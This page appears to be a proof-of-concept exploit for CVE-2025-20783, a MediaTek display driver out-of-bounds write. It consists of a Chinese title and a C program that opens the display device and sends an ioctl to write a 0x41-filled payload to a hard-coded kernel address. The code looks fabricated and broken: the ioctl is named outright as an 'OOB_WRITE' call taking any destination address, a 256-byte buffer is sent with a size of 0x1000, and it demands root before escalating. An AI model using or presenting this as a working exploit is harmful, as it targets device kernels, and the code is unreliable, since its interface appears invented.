CVE-2025-20783 MediaTek显示驱动越界写入本地权限提升漏洞

/* * CVE-2025-20783 MediaTek Display Driver OOB Write PoC * Author: Security Researcher * Note: This is a conceptual PoC for educational purposes only * Target: MediaTek ALPS display driver with missing bounds check * Prerequisites: Requires System-level access on vulnerable device */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // MediaTek display driver IOCTL definitions #define MTK_DISP_IOCTL_MAGIC 'D' #define MTK_DISP_IOCTL_OOB_WRITE _IOW(MTK_DISP_IOCTL_MAGIC, 0x1, struct disp_oob_param) struct disp_oob_param { unsigned long dst_addr; // Destination address for write operation unsigned long src_buffer; // Source buffer containing payload unsigned int size; // Size of data to write unsigned int flags; // Operation flags }; int exploit_cve_2025_20783(void) { int fd; struct disp_oob_param param; unsigned char payload[256]; printf("[*] CVE-2025-20783 MediaTek Display OOB Write Exploit\n"); printf("[*] Target: MediaTek ALPS display driver\n"); // Open MediaTek display device fd = open("/dev/mtk_disp", O_RDWR); if (fd < 0) { fd = open("/dev/display", O_RDWR); } if (fd < 0) { printf("[-] Failed to open display device\n"); return -1; } // Prepare malicious payload memset(payload, 0x41, sizeof(payload)); // Craft OOB write parameters // dst_addr: Point to kernel memory region beyond buffer boundary param.dst_addr = 0xFFFFFFE000000000ULL; // Kernel text region (example) param.src_buffer = (unsigned long)payload; param.size = 0x1000; // Exceed actual buffer size, trigger OOB write param.flags = 0; printf("[+] Sending malicious IOCTL with OOB write parameters\n"); printf("[+] Destination: 0x%lx\n", param.dst_addr); printf("[+] Size: %u bytes\n", param.size); // Trigger the vulnerable code path if (ioctl(fd, MTK_DISP_IOCTL_OOB_WRITE, &param) < 0) { printf("[-] IOCTL call failed\n"); close(fd); return -1; } printf("[+] OOB write attempted\n"); printf("[*] Check for privilege escalation\n"); close(fd); return 0; } int main(int argc, char *argv[]) { printf("===========================================\n"); printf("CVE-2025-20783 MediaTek Display OOB Write\n"); printf("===========================================\n"); // Verify we have necessary privileges if (geteuid() != 0 && getuid() != 0) { printf("[-] This exploit requires elevated privileges\n"); printf("[-] System-level access prerequisite not met\n"); return 1; } printf("[+] Running with elevated privileges\n"); return exploit_cve_2025_20783(); }